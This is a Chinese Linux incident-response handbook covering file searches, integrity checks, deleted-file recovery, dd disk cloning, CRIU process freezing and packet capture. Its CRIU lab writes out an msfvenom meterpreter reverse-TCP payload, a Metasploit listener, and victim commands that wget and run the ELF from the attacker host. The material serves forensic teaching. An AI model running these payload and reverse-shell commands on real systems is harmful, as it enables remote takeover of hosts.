Linux应急手册——小技巧

Linux应急手册——小技巧
本文来自NOP Team0x01 查找文件
从环境变量查找文件
which只能查找系统命令的具体文件位置
whereis查找的类型不只是系统命令(二进制文件),还有一些其他文件,比如源文件等,在$PATH路径基础上增加了一些系统目录的查找,查找范围比which稍大,查找速度快
- b 只查找二进制文件
- B 指定寻找二进制文件的路径
- s 只搜索源文件
- S
locate从索引数据库(
/var/lib/mlocate/mlocate.db)里查找文件,数据库每天更新,所以可能查到的文件不是最新的,甚至可能已经被删除了,可以使用updatedb来进行更新数据库
强烈建议在updatedb执行前查找一次,updatedb更新后查找一次
locate 默认会把包含所查询的字符的结果都显示出来,比如我们想查询 ls ,那么类似 tools 这种结果也会显示出来
locate 是一个很好的搜索工具,所以详细说几个参数- b 只搜索文件名,不搜索文件夹
- i 忽略大小写
- r “” 正则匹配
findfind 是从文件系统中进行搜索,大而全,但是巨慢,以上命令都查找不到的时候再使用这个命令find 默认文件和目录都会进行搜索,名称要准确,支持正则,可以使用通配符
- type 参数指定
- d 目录
- f 文件
- l 符号链接
- s socket
- 基础使用
find / -name evil.sh - 忽略大小写
find / -iname evil.sh - 查找时排除某个/类文件
find / -name *evil* ! -name *.log - 查找时排除目录
find / -name *evil* -path "/root/home/aaa" -prune - 查找目录
find / -type d -name eval
按照权限查找文件 -perm
- 查找 777 权限的文件
find / -type f -perm 777 - 查找 SUID 文件
find / -perm /u=s - 查找 SGID 文件
find / -perm /g=s - 查找 Sticky 文件
find / -perm /o=t
基于所有者和组查找文件 -user / -group
- 查找根目录下属于 root 的文件或文件夹
find / -user root - 查找ssh组的所有文件
find / -group ssh
基于时间进行查找
- mtime修改时间
查找最近三天修改过的文件find / -mtime -3
查找三天前修改过的文件find / -mtime +3
查找最近24小时修改过的文件find / -mtime -1-atime访问时间查找3天内访问过的文件
find / -atime -3
其他类似-ctime属性修改时间,还未发现可以修改 ctime 的常规方法,所以可以作为依据
寻找最近三天修改过属性的文件find / -ctime -3-daystart按天算,不是按照24小时算, -1 表示昨天,而不是从现在往前导24小时
寻找昨天创建的文件find / -ctime 1 -daystart
寻找向前3~5 天之间编辑的文件find / -mtime 3 -mtime -5 -daystart如果你觉得天这个单位太大了,可以使用分钟,分别对应
-mmin/-amin/-cmin- 查找三分钟前编辑的文件
find / -mmin +3 - 查找三分钟内编辑的文件
find / -mmin -3 - 查找三分钟前访问的文件
find / -amin +3 - 查找三分钟内访问的文件
find / -amin -3 - 查找三分钟前修改属性的文件
find / -cmin +3
找三分钟内修改属性的文件find / -cmin -3
按照大小寻找文件 -size ,参数后单位可以为:
- b 512-byte block
- c bytes
- w two-byte words
- k
- M
- G
- 寻找10M的文件
find / -size 10M - 寻找大于10M的文件
find / -size +10M - 寻找小于10M的文件
find / -size -10M - 寻找 10M到20M之间的文件
find / -size +10MB -20M
0x02 查找文件内容
很多时候,我们无法确定恶意程序的文件名,但是某些配置文件的关键字是不会更改的,所以我们可以利用关键字进行查找
grep [OPTIONS] PATTERN [FILE...]
首先介绍一下
grep的参数,后面有常用案例
正则表达式相关参数:
-E 扩展了正则表达式,支持了以下几种规则
- ?
- a|b
- ()
- x{m}
- x{m,}
- x{m,n}
- -F 该参数后的正则表达式字符串中所有字符串都没有特殊含义,仅仅是其本身
- -P 使用 perl 正则表达式
- -e 正则表达式中存在 – 的,默认会被识别为参数,使用 -e 参数可以将 – 认定为正则表达式中的字符
- -f file 从文件中加载正则
- -i 忽略大小写
- -w 只匹配完整的单词,比如 administrator 中包含 admin,使用 -w admin 是不会查询到结果的,只有 i am admin ! 这种才可以
- -x 匹配整行
- -z 跨行匹配
杂项
- -s 禁止输出因文件不存在或文件没有读权限而产生的错误信息
- -v 反转结果,不显示制定的正则
- -V 版本信息
输出控制
- -m NUM 匹配到NUM行后停止
- -b 打印匹配的行在文件中的字节偏移量
- -n 显示匹配的行号
- -H 批量匹配时,显示匹配的文件名,默认参数
- -h 与 H 相反,不显示文件名
- -o 只输出匹配到的字符
- -q 不显示任何东西
- -a 匹配二进制数据
- -I 不匹配二进制的内容
- -d action 目录操作,读取(read),递归(recurse),跳过(skip)
- -D action 设置对设备,FIFO,管道的操作,读取(read),跳过(skip)
- -r 递归,不会搜索符号连接内的内容,所以可以尽量使用 -R
- -R 递归的同时可以设置一些选项,比如排除一些目录等
- -L 显示未匹配到的文件名
- -l 只显示匹配到的文件名
- -c 打印每一个文件中匹配结果的行数
文本控制
- -B <NUM> 显示查找到的行前的N行的内容
- -A <NUM> 显示查找到的行后的N行的内容
- -C <NUM> 显示查找都的行前后各N行的内容
常见使用方法:
查找某个文件中的字符串
grep "str" evil.sh
在某个目录中的文件中搜索某个正则表达式
grep "str" /root/xxx/*
递归在某个目录下所有文件中进行查找
grep -rn "str" /root/xxxx/
查找多个字符
grep "str1\|str2" /root/xxxx/*grep -E "str1|str2" /root/xxxx/*grep -e "str1" -e "str2" /root/xxxx/*
查找同时存在两个字符
grep -E 'str1.*str2' /root/xxxx/*
只搜索部分文件
grep 'abc' -r --include=*.conf /root/xxxxgrep 'abc' -r --include="*.{conf,config}" /root/xxxx
排除部分文件
grep 'abc' --exclude=*.elf /root/xxxxgrep 'abc' --include=*.conf --exclude=*demo.conf
全盘搜索某个表达式
grep -Rn -i "str" /如果匹配到的内容行太长,影响观看,可以考虑加入
-l参数,只显示匹配到的文件名grep -Rnl -i "str" /
0x03 确定系统相关信息
查看系统版本信息
cat /etc/issue- Ubuntu/Debian 系列适用
cat /etc/lsb-releaselsb_release -a- Redhat/Centos 系列适用
cat /etc/redhat-release
查看系统是32位还是64位
x86_64为64位Intel 80386、i386、i486、i586、i686 等均为 32 位
getconf LONG_BITuname -marchhostnamectlfile /sbin/init或者file /lib/systemd/systemdlscpu | grep "Architecture\|架构"dpkg --print-architecture[适用于Ubuntu类系统]dpkg-architecture -q DEB_BUILD_ARCH[适用于Ubuntu类系统]
查看内核版本信息
cat /proc/versionuname -ahostnamectl
0x04 系统完整性检查
很多时候我们想知道系统是否存在系统命令、软件包等被替换的情况,可以使用下面的方法进行检查
需要在root权限下执行
RedHat/Centos
rpm -Va
Ubuntu/Debian
apt install debsumsdebsums --all --changed
0x05 系统文件监控工具
0x06 查看glibc版本
ldd --version
0x07 文本比对
将要比对文本复制到 burpsuite 的 Compare 模块中 -> 粘贴进去 -> 使用words进行比对
不同的内容会有颜色标识
0x08 数据恢复
狡猾的攻击者往往会将自己留下的蛛丝马迹进行删除,此时,数据恢复就起到了重要作用
咱们就以管理员误删文件为背景来进行讲解
误删了文件,情况其实很简单,就两种: 被删除的文件有/无进程正在对其读写,有的话,那算事幸运,没有的话,自求多福。
存在进程对误删文件进行读写
这种情况简单来说就是被删除的文件在进程的内存空间还保存着一份,可以通过访问某个目录来找到文件恢复
接下来做一下这个实验
打开两个终端,终端1 和 终端2
终端1 : 创建文件终端2 : 使用 cat 模拟一下进程持续读写
111.txt终端1 :删除 111.txt
可以看到,
111.txt已经被删除了
终端1 : lsof 查找文件占用并恢复
可以看到
cat这个程序正在操作这个文件,进程 id 为 68048
终端1: 找到进程空间文件对应目录(/proc/<pid>/fd),恢复文件
数据成功恢复
如果应用主程序被删除了,也就是该案例中的cat,则直接执行以下命令即可恢复可执行程序
cp /proc/<pid>/exe /tmp/xxx.elf数据恢复程序
数据恢复程序的原理其实很简单,如果你读过《鸟哥的Linux私房菜》肯定知道,我们的文件 rm 删除之后,文件实体暂时还是在的,只不过文件所在的块已经被标记为删除了。就好像拆迁一样,我规划了要把你家拆迁,但是现在还没拆,只要手续都办完就会拆,所以我们应尽可能快地将数据恢复。
参考文章
选择数据恢复程序来进行恢复有几点比较重要
- 从误删除了文件的那一刻起,就不要再向文件所在的分区做任何写入工作了
- 当然了,很多时候已经在跑的程序不能停,那就要做好权衡了
- 在不影响其他程序运行的情况下将误删文件所在的分区卸载掉(umount)
- 在选择数据恢复软件前了解清楚文件系统类型
- 恢复文件存储分区选择需要谨慎
- 不能是之前误删文件的分区
- 分区大小要大于之前误删文件的总大小
- 有能力的话,可以考虑将分区备份一份
常见的支持文件系统有:
- 传统文件系统:ext2 / minix / MS-DOS / FAT (用 vfat 模块) / iso9660 (光盘)等等;
- 日志式文件系统: ext3 /ext4 / ReiserFS / Windows’ NTFS / IBM’s JFS / SGI’s XFS / ZFS
- 网络文件系统: NFS / SMBFS
查看当前 Linux 支持的文件系统
ls -l /lib/modules/$(uname -r)/kernel/fs
查看系统目前已载入到内存中支持的文件系统
cat /proc/filesystems常见的 Linux 文件恢复工具
- Extundelete
- Debugfs
- R-Linux
- Ext3grep
- Ext4magic
- Testdisk
| 数据恢复软件名称 | 支持文件系统类型 | 操作难易程度 | 最近一次更新 |
|---|---|---|---|
| Extundelete | ext3/ext4 | 中 | 2013/2/21 |
| Debugfs | ext2/ext3/ext4(新系统白费) | 中 | 系统自带 |
| R-Linux | ext2/ext3/ext4 | 简单 | 2015/5/17 |
| Ext3grep | ext3 | 中 | 2010/4/19 |
| Ext4magic | ext3/ext4 | 中 | 2014/9/12 |
| TestDisk | 吹牛没输过,实战没赢过 | 复杂 | 2019/7/10 |
常见的系统急救工具(从崩溃的系统中copy文件)
- Ddrescue
- Avira Rescue System
查看误删除文件所在分区的文件系统类型,这里假设误删除文件为/opt/project/data.mdbdf -T /opt/project/df -T命令可以直观得看到误删文件所在目录的挂在点,所在分区,以及分区的文件系统类型
如果你不喜欢 df 命令或者系统上不存在df 命令,可以先确定一下目录所在分区,直接使用mount和lsblk -f命令
mount
lsblk -f卸载误删文件所在的分区
如果卸载了该分区,那么该分区运行的程序和向该分区写入的操作都会终止,所以这个操作可能不会很顺利,需要权衡
如果该分区有程序正在运行或者有程序正在对该分区文件进行读写,是无法直接卸载的,需要停掉这些操作
还有就是不要想着把根目录卸载了,可以考虑其他方法,比如类似安全模式的东东可以看到,
/opt/project所在分区为/dev/sdb, 或者应该说/dev/sdb挂载在/opt/project目录下
卸载该分区umount /dev/sdb
这样就将分区卸载掉了,卸载掉的分区数据还在,可以在后期重新挂载到某个目录下Extundelete
http://extundelete.sourceforge.net/
支持ext3、ext4安装 Extundelete
apt install extundelete现在
/dev/sdb1挂载在/opt/project下,我们在这个目录下创建一个文件test1.txt
我们删除test1.txt并使用Ext3grep进行文件恢复
- 卸载
test1.txt所在分区
umount /dev/sdb1
- 扫描指定文件系统的根路径
extundelete --inode 2 /dev/sdb1#/dev/sdb1 是本次实验的文件系统,大家按照实际情况替换就好 –inode 2 是指根路径
可以看到成功找到了test1.txt,就在这个文件系统的根目录下,后面标识这是一个被删除的文件- 恢复被删除的文件
test1.txtextundelete --restore-inode 12 /dev/sdb1 -o backup
或者extundelete --restore-file test1.txt /dev/sdb1 -o backup
可以看到,两种方式都成功恢复了文件,其中--restore-inode 12中的 12 是通过上图查询到的test1.txt对应的inode;-o参数指定一个文件夹名字,extundelete会以这个名字在你执行extundelete命令的路径下新建文件夹。- 恢复多个文件、全量恢复
--restore-files 'path'
--restore-directory
--restore-all
这次我们新建一个目录t1,之后再创建三个文本文件,之后把它们删除extundelete --inode 2 /dev/sdb1
因为我们没有删除t1这个目录,所以t1没有显示删除,但是吧,这里也看不出来t1是文件还是目录,也看不到t1里面有什么,所以我们试着指定t1这个目录的inode 360449extundelete --inode 360449 /dev/sdb1
可以看到,我们被删除的三个文件,我们试着通过上面的几个参数来进行恢复
先来用之前的--restore-file
试试--restore-files
这个参数没用明白
试试--restore-directoryextundelete --restore-directory t1/ /dev/sdb1 -o backup
试试--restore-all,这个就是全量恢复了extundelete --restore-all /dev/sdb1 -o backup恢复某个时间段的文件
--after 时间戳
--before 时间戳
可以通过下面这个网站完成时间戳和时间的转换,也可以通过 date命令来获取,后面会讲,地址extundelete --after 1640966400 --restore-all /dev/sdb1 -o backup
现在我想恢复最近三天的数据,我还要用时间一点一点去算吗? 不用,最近三天也就是三天前的此刻 以后的文件都要
成功恢复。重新挂载分区
mount /dev/sdb1 /opt/projectDebugfs
这个程序是系统自带的一个交互式文件系统调试器,在 Centos 6 上可以用来做数据恢复
https://man7.org/linux/man-pages/man8/debugfs.8.html
支持 ext2、ext3、ext4
Centos 7 以及 Ubuntu 16.04 已经不能恢复了R-Linux
一个图形化的数据恢复应用
https://www.r-studio.com/free-linux-recovery-help/basicfilerecovery.html
ext2、ext3、ext4
虽然页面感人,但是还有中文支持
成功恢复文件内容Ext3grep
http://manpages.ubuntu.com/manpages/jammy/man8/ext3grep.8.html
仅支持 ext3
安装 Ext3grepapt install ext3grep
现在/dev/sdb挂载在/opt/project下,我们在这个目录下创建一个文件test1.txt
我们删除test1.txt并使用Ext3grep进行文件恢复卸载
test1.txt所在分区umount /dev/sdb扫描指定文件系统的根路径
ext3grep /dev/sdb --ls --inode 2
/dev/sdb 是本次实验的文件系统,大家按照实际情况替换就好 –inode 2 是指根路径
可以看到成功找到了test1.txt,前面的 D 标志就是表示文件被删除了,而不是 “D 之一族”获取文件存在时候的具体路径
ext3grep /dev/sdb --dump-names
可以看到,就在根目录恢复被删除的文件
test1.txtext3grep /dev/sdb --restore-file test1.txt
数据恢复成功,恢复后的数据会储存在执行ext3grep命令的路径下的RESTORED_FILES文件夹内恢复全部数据
如果你遇到的情况是不小心格式了一个分区,那可以试一下大招ext3grep /dev/sdb --reatore-all重新挂载分区
mount /dev/sdb /opt/project
看起来一切很顺利,但是当我测试直接删除一个目录的时候/删除非根目录下的文件,恢复起来就会有问题,大家可以多尝试一下Ext4magic
这个工具非常好用
http://ext4magic.sourceforge.net/howto_en.html
ext3、ext4
这次我们玩儿得复杂点,玩点儿 ext3grep 做不到的(我的知识范围内)
我们在挂载的目录下创建了一个文件夹aaa,在其中创建文件夹bbb,在 bbb文件夹中新建ccc.txt,还写入了一些字符,之后直接删除了bbb文件夹,接下来我们开始文件恢复卸载
test1.txt所在分区umount /dev/sdb扫描指定文件系统所有的根路径
ext4magic /dev/sdb -f /
/dev/sdb 是本次实验的文件系统,大家按照实际情况替换就好
可以看到到这个文件夹,毕竟还在文件系统里嘛,我们没有删除aaa文件夹,我们能成功找到bbb和ccc.txt吗?扫描子文件夹中的内容
ext4magic /dev/sdb -f /aaa/
继续寻找ext4magic /dev/sdb -f /aaa/bbb/
可以看到,此时直接这样查找就不行了,我们需要加上 -T -x参数恢复被删除的文件
ccc.txtext4magic /dev/sdb -rf /aaa/bbb/ccc.txt -d /opt/
数据恢复成功,恢复后的数据按照原来的目录结构保存在 -d 指定的文件夹下全量数据恢复
-M 恢复全部文件
-m 恢复全部被删除的文件
除非你是一个分区挂了,不然不建议直接使用这两个参数,因为这个参数可以配合更牛的基于时间的参数来做某个时间点以前或者某个时间点以后的全量数据恢复基于时间的数据恢复
-a 时间戳 a 代表 after,表示在这个时间点以后
-b 时间戳 b 代表 before,表示在这个时间点以前
时间戳可以通过 https://shijianchuo.net/ 这个网站进行时间和时间戳的转换
假设我们想把 2022 年 1 月 1 日以后删除的文件都恢复一下ext4magic /dev/sdb -a 1640966400 -d /opt/backup -m
可以看到我们上面恢复的 aaa/bbb/ccc.txt 文件还在,但是之前几个工具做演示的文件,比如 test1.txt、test2.txt 已经恢复不了了,因为他们已经被我们新创建的文件和文件夹给覆盖了
现在我想恢复最近三天的数据,我还要用时间一点一点去算吗? 不用 最近三天也就是三天前的此刻 以后的文件都要ext4magic /dev/sdb -a $(date -d "-3day" +%s) -d /opt/backup -m
有趣的是,ext4magic官方的man手册里还犯了一点儿小错误快速获取文件列表
之前我们从根目录开始,一层一层找 ccc.txt ,作为一个这么先进的工具,是不是可以直接把所有的目录和文件都显示出来呢,我们好通过 grep 来进行查找ext4magic /dev/sdb -Lx -f /
如果你觉得,你对这里的bdir不感兴趣,你就是想看aaa目录里的,那就把 -f /换成-f /aaa/ext4magic /dev/sdb -Lx -f /aaa直观地看文件覆盖情况
可以使用-l参数列出来指定目录还没有被覆盖的文件
前面数字是 100% 的表示还没有被覆盖
0x09 批量查找文件并打印信息
这个命令在防守清理webshell的很有用,很适合批量截图,这里以搜索 passwd 这个文件为例
find / -name "passwd" | while read line; do if [ -f $line ]; then ls -al $line; elif [ -d $line ]; then ls -al ../ | grep $line; fi; done
0x10 拷贝取证
拷贝取证只是一部分人的需求,可能是取证人员,也可能是需要做交接的应急人员等,以下工具及使用方法可以作为参考
- 虚拟化平台
- 使用自带的虚拟化快照功能
- 直接把整个系统打包带走
- 全盘拷贝
全盘拷贝的工作模式基本上都是需要关机之后再用启动光盘或者U盘等引导,进而进行拷贝的,不然可能会数据错误,mondo rescue 是工作时打包拷贝的,但是对于 Ubuntu 16.04 及以上的系统,bug太多,根本用不了,推荐 clonezilla , 感觉速度更快一些- dd 系列
- dd
- dcfldd
- ddrescue
- G4L
- clonezilla
dd 是 Linux 发行版基本都带的工具,可以用来做的事情也非常多,这里我们只演示用来全盘拷贝的功能
dcfldd 和 ddrescue 都是dd升级版或者辅助工具,建议大家了解一下
PS:使用dd命令进行全盘或者部分分区复制强烈建议准备一个LiveCD,建议使用Ubuntu Desktop 22.04启动U盘作为这个LiveCD;同时需要准备一个空的数据存储盘,空间要大于要复制的硬盘或者分区
使用dd进行复制的时候,需要将系统关闭,之后使用准备好的启动U盘进入 Ubuntu 22.04 中进行复制操作了,这也就意味着全盘拷贝是看不到恶意程序的进程情况的
假设受害系统只有一块硬盘,此时需要将其内容全部克隆下来,之后带走做更加深入的分析、取证等,受害系统信息如下
制作启动U盘
关闭受害系统,插上U盘,设置U盘启动,进入LiveCD
确定要备份的硬盘名称以及具体信息sudo lsblk -asudo fdisk -l
确定我们要复制的源硬盘的设备名称为 /dev/sda,这块硬盘有三个分区,使用的是 GPT 分区表,硬盘总大小为 16G
接入用来备份的数据盘 500G
查看数据盘信息sudo lsblk -a
数据盘总大小为 500G,硬盘设备名称为 /dev/sdc,有两个分区,现在我们删除这些分区,新建一个只有20G大小的分区就够了sudo fdisk /dev/sdc
格式化/dev/sdc1分区sudo mkfs.ext4 /dev/sdc1
新建/data目录,将/dev/sdc1挂载到该位置sudo mkdir /datasudo mount /dev/sdc1 /data
使用 dd 命令将/dev/sda硬盘中的所有分区的所有内容拷贝到 /data 目录中的一个文件里,文件名以 ubuntu-sda 来命名sudo dd if=/dev/sda of=/data/ubuntu-sda bs=5M
默认是看不到进度的,执行dd后,需要新开一个终端窗口,执行下面的命令来让 dd 显示进度sudo watch -n 5 killall -USR1 dd
此时/dev/sda这块硬盘中的内容已经全部复制到 ubuntu-sda 文件中,此时已经可以复制多份,并且拿出一份测试系统是否可以正常启动
新建一个虚拟机,使用 CD/DVD 镜像Ubuntu 22.04 作为启动源,当然也可以使用之前做的启动U盘
硬盘容量大于 ubuntu-sda 文件的大小,这里直接以 64G 为例
插入刚刚拷贝的数据盘
根据硬盘大小等信息,可以确定新系统的硬盘设备名称为 /dev/sda 数据盘的设备名称为 /dev/sdb数据盘有一个分区 /dev/sdb1 已经挂载在某一个路径下了,但是路径有点长,还是新建 /data 目录,挂载到其上
sudo umount /dev/sdb1
sudo mkdir /data
sudo mount /dev/sdb1 /data
使用 dd 将拷贝的信息恢复到这块64G的硬盘上 (/dev/sda)sudo dd if=/data/ubuntu-sda of=/dev/sda bs=5M
新开终端执行监控指令sudo watch -n 5 killall -USR1 dd
从/dev/sda硬盘结构上看已经恢复了,现在测试看能不能正常运行
成功启动,克隆成功,克隆的镜像可以直接作为取证材料或者交由其他应急响应人员分析、探究G4L
G4L 是一个硬盘和分区镜像和克隆工具。其实就是 Ghost for Linux 的意思
https://sourceforge.net/projects/g4l/
G4L有一定的弊端
必须全盘克隆
克隆即使源硬盘500G只装了1G的信息,目的硬盘也必须大于等于 500G进程拷贝
CRIU
https://criu.org/
https://github.com/checkpoint-restore/criu
CRIU (Checkpoint/Restore In Userspace) 是一种在用户空间创建和恢复节点的工具
简单来说,CRIU 可以将正在运行的程序冻结,转化成一些镜像文件,理想情况下可以随时随地通过这些镜像文件从冻结的节点恢复系统运行,而这些操作都是在用户空间内完成的
CRIU安装
sudo add-apt-repository ppa:criu/ppa
sudo apt-get update
sudo apt install criu
测试 CRIU 是否运行正常sudo criu check
输出 Looks good 表示安装成功
测试场景,受害主机某一个进程反弹 msf shell ,现在需要将其转储,在未来的某个时间节点在这台主机上重新让其运行
受害主机 Ubuntu Server 20.04 (192.168.31.16)
控制主机 Kali Linux (192.168.31.146)
控制主机 Kali Linux 生成木马(这里选择的是stegeless的木马,演示起来效果更好)
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.31.146 LPORT=4444 -f elf > shell.elf
控制主机 Kali Linux 设置监听
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost 192.168.31.146
set lport 4444
set exitonsession false
exploit -j
受害主机下载木马并执行
wget http://192.168.31.146/shell.elf
chmod +x shell.elf
./shell.elf &
反弹木马进程号 1267
控制主机 Kali Linux 接收到返回的shell
新开一个ssh连接,连接被害主机,安装 criu
在受害主机上使用 criu 对 pid 为 1267 对进程进行转储sudo criu dump -vvvv -o dump.log -t 1267 --shell-job --tcp-established
此时查看控制主机 Kali Linux 处反弹shell 是否依旧正常
此时连接已经断了
静待五分钟,用来模拟正常应急中因为各种原因造成的时间间隔
恢复进程执行sudo criu restore -vvvv --shell-job --tcp-established
控制主机 Kali Linux 这一侧
再次收到了反弹shell的请求
此时便可以继续对该进程进行研究了,但是总感觉有些鸡肋
假如说当前这台主机关机了,重启后,保存的进程镜像还能够再次恢复吗?
关闭受害主机,Kali Linux 保持监听
尝试恢复反弹shell的进程
还原失败,并且当前的终端输入字符已经无法看见了
再次启动一个ssh 连接,多次尝试恢复进程,这次 echo 123 并且睡眠3秒,这样即使看不到输入,也可以凭借着输出来判断是否是我们想执行的命令
仍旧失败,多次尝试之后,终于成功了
也就是说可以先将一个程序冻结,之后系统随意关机,再次开机后可以恢复进程,进行分析,这样看起来,是不是有点意思了呢但是这还不够,看下面
组合拳
全盘拷贝会让内存丢失,进程全无;进程拷贝限制进程所在的电脑系统但是! 如果我们将它们的优势组合起来,会有意想不到的惊喜,相信你已经懂了
组合拳分为三步
- 冻结进程
- 全盘拷贝
- 恢复进程
听起来有点像把大象关冰箱
上面的操作可以使我们不仅能够把系统全盘复制过来,还能保留比较可疑的进程信息
以上三步都是本文详细讲述过的内容,所以直接简述
新建反弹shell的进程
关机 -> 全盘拷贝 -> 新建虚拟机 -> 恢复
PS:这里有一个问题,恢复后的系统IP不会是原来的IP了,这会让进程恢复出现问题,所以需要修改IP为静态IP,同时需要网络设备配合,允许修改静态IP后的系统可以正常上网
Ubuntu Server 20.04修改方法如下
cp /etc/netplan/00-installer-config.yaml .
sudo vim /etc/netplan/00-installer-config.yaml
# 将下面的配置写入该文件中,如果该文件有过定制,需要按照合适的方式配置
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
eno1:
dhcp4: no
addresses: [192.168.1.2/24]
gateway4: 192.168.1.1
nameservers:
addresses: [114.114.114.114]需要按照实际情况修改配置,以本次为例
网卡名称: enp0s5
IP地址: 192.168.31.16
网关: 192.168.31.1
即:
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
enp0s5:
dhcp4: no
addresses: [192.168.31.16/24]
gateway4: 192.168.31.1
nameservers:
addresses: [114.114.114.114]
开始恢复进程
只执行了一次,Kali Linux 便收到了反弹的shell
成功实现了系统和进程的双迁移!关键文件取证
- Linux Evidence Acquisition Framework
- https://github.com/alex-cart/LEAF
Linux Evidence Acquisition Framework —— 不要使用这个工具,可能会使系统出现故障,但是可以参考它的思路写一个自己的工具,代码就算了,这代码连异常都不处理
这个工具是一个取证工具,通过自定义的文件库对当前系统的响应文件进行复制,之后打包成ISO,还支持通过 yara 语法对文件进行匹配检查
很多时候,我们并不能关闭受害系统,而且只想获取部分文件的信息作为取证或者分析材料,这个工具本身自带了一份文件名单,同时支持自定义
sudo apt update
// 安装pip3
sudo apt install python3-pip
// 升级pip3
pip3 install --upgrade pip
// 安装部分程序
sudo apt install python3-testresources
sudo apt install tree
sudo apt install mkisofs
// 下载 LEAF
git clone https://github.com/alex-cart/LEAF.git
// 安装 python3 依赖库,记得用sudo
cd LEAF
sudo pip3 install -r requirements.txt
// 开始使用,如果使用默认配置
sudo python3 LEAF_master.py
尽可能通过绝对地址来执行 LEAF_master.py
接下来等待进度条走完
// 如果不使用默认配置
-i filelist.txt
可以指定需要采集的文件地址,具体地址文件书写方式可以直接查看当前目录下的 target_locations 文件,使用 -i 指定
-u root
如果只想复制某个用户的文件信息,可以通过 -u root 这种形式来指定
-c SERVICES
如果只想针对某一种信息进行收集,可以通过 -c xxx 来进行指定,具体可选参数为 APPLICATIONS, EXECUTIONS, LOGS, MISC, NETWORK, SHELL, STARTUP, SERVICES, SYSTEM, TRASH, USERS
更多参数可以查看 https://github.com/alex-cart/LEAF
- 查看一下默认的文件清单
一共195条,去掉第一行,一共 194 个文件夹及文件
现在通过默认的配置文件进行关键文件拷贝
思路挺好,但是不要用这个工具及其代码,我尝试加一些异常处理代码,最终系统还是难以避免挂掉的结果
0x11 history 显示执行时间
- history 信息默认是不显示命令执行的时间的,但是默认记录了时间,可以通过配置环境变量将时间显示出来
export HISTTIMEFORMAT='%F %T '
0x12 单独查看某个进程的日志
journalctl -u 服务名称
- 可以通过以下两条命令获取到相应的服务名称
systemctl list-units --type=serviceservice --status-all
0x13 如何暂停进程/冻结进程
暂停/冻结 一个进程
kill -SIGSTOP <pid>kill -19 <pid>- 同上,本次发送的信号是 SIGCONT
0x14 查找特定时间段内的文件
把这部分单拿出来是因为应急溯源过程中用得太多了
查找某段时间内创建的文件(btime)
此命令执行时间可能较长,会占用系统资源,而且需要系统支持创建时间记录find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-08-16 00:00:00' +%s)" -v end="$(date -d '2024-08-16 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'查找某段时间内修改的文件(mtime)
find /path/to/search -type f -newermt "2024-07-19 12:30:00" ! -newermt "2024-07-19 15:28:00" 2>/dev/null查找某段时间访问的文件(atime)
find /path/to/search -type f -newerat "2024-07-19 12:30" ! -newerat "2024-07-19 15:28" 2>/dev/null查找某段时间内修改属性的文件(ctime)
(find /path/to/search -type f -newerct "2024-07-19 12:30" ! -newerct "2024-07-19 15:28" 2>/dev/null)
注意事项
查找创建文件并不是所有文件系统都支持,基本上所有的文件系统都支持 m、a、c 时间,即修改、访问、属性变动,因此查找文件创建时间基本上只能在支持记录文件创建时间的系统上进行,所以下面的讨论背景都是在支持创建时间的系统上
find 命令的man手册描述是支持根据创建时间查找的,但是经过测试,即使在支持记录创建时间的系统上也无法通过创建时间查找,简单来说就是目前还不兼容。
技巧解析
上面提到的查找方式都是单一维度的,要么是查找创建时间,要么是查找访问时间,如果进行稍稍改变,就可以组合查询,例如我想要查找在 2024-07-31 09:33:00 后访问过,且在 2024-07-31 10:49:07 前修改过的文件
find /path/to/search -type f -newerat "2024-07-31 09:33:00" ! -newermt "2024-07-31 10:49:07" 2>/dev/null
命令解析
- -type f指定查找文件,而不是目录
- -newerat 这不是命令其实是 -newerXY 下面会详细讲解
- ! 是取反
- 2>/dev/null 是不显示标准错误
-newerXY 官方解析如下
这里的 X 和 Y 分别代表两种时间标记,如果被查找范围内文件的 X 的时间比参数指定的文件的 Y 更加 新 一些,则执行成功,其中 X 和 Y 取值如下:
- a 访问时间
- B 创建时间
- c inode 状态改变时间,一般认为是属性修改时间
- m 修改时间
- t 通过命令参数指定的时间
其中 X 不可以取值 t
假设我们想查找属性修改时间(元数据修改,即ctime) 在 test.txt 文件的内容修改时间之后的文件
修改内容后,又被修改过属性的文件,即 ctime > mtime ,我们可以执行下列命令find /path/to/search -type f -newercm test.txt 2>/dev/null
目前 Ubuntu Server 22.04 还不支持 B 选项
0x15 内存中搜索字符串
使用如下脚本 scan_memory.sh
|
例如搜索 www.baidu.com
可能同时搜索出来的进程不止一个,此时就需要根据实际情况进行测试和判断了
0x16 配置文件检查小技巧
Linux 上的程序配置文件较多,基本上都是 shell 脚本形式,普遍注释比较多,空行比较多,可以使用下面的命令进行筛选
grep -E -v '^\s*($|#)' config_file
直接查看结果如下
使用筛选命令查看如下
0x17 进程&容器抓包
这里主要介绍一个工具 —— ptcpdump
项目地址
这款工具对标 tcpdump 工具,基于 bpf ,要求 Linux kernel version >= 5.2,增强功能有很多,比较重要的例如会保留流量对应进程、可以抓容器的包
这里演示两个功能,一个是抓包,查看包对应的进程信息;一个是抓指定进程的包
- 安装
- 地址直接下载编译好的二进制即可
- 演示抓包包含进程
使用方法几乎与 tcpdump 类似
sudo ptcpdump -i eth0 -w ptcpdump.pcapng
使用 Wireshark 打开此数据包
可以看到在 Packet comments部分包含进程 id、命令行、参数等信息,这是 tcpdump 没有的
手册中使用的 ptcpdump 版本为 0.17.0 ,目前 icmp 数据包还没有进程相关的标记
这个项目还在开发过程中,相信在后续的版本应该会加上此功能
- 演示抓指定进程的包
sudo ptcpdump -i any --pid 1234
看来目前通过筛选 pid 查 icmp 数据包也是不行的,我们换一个
其他协议目前是没问题的































































































































































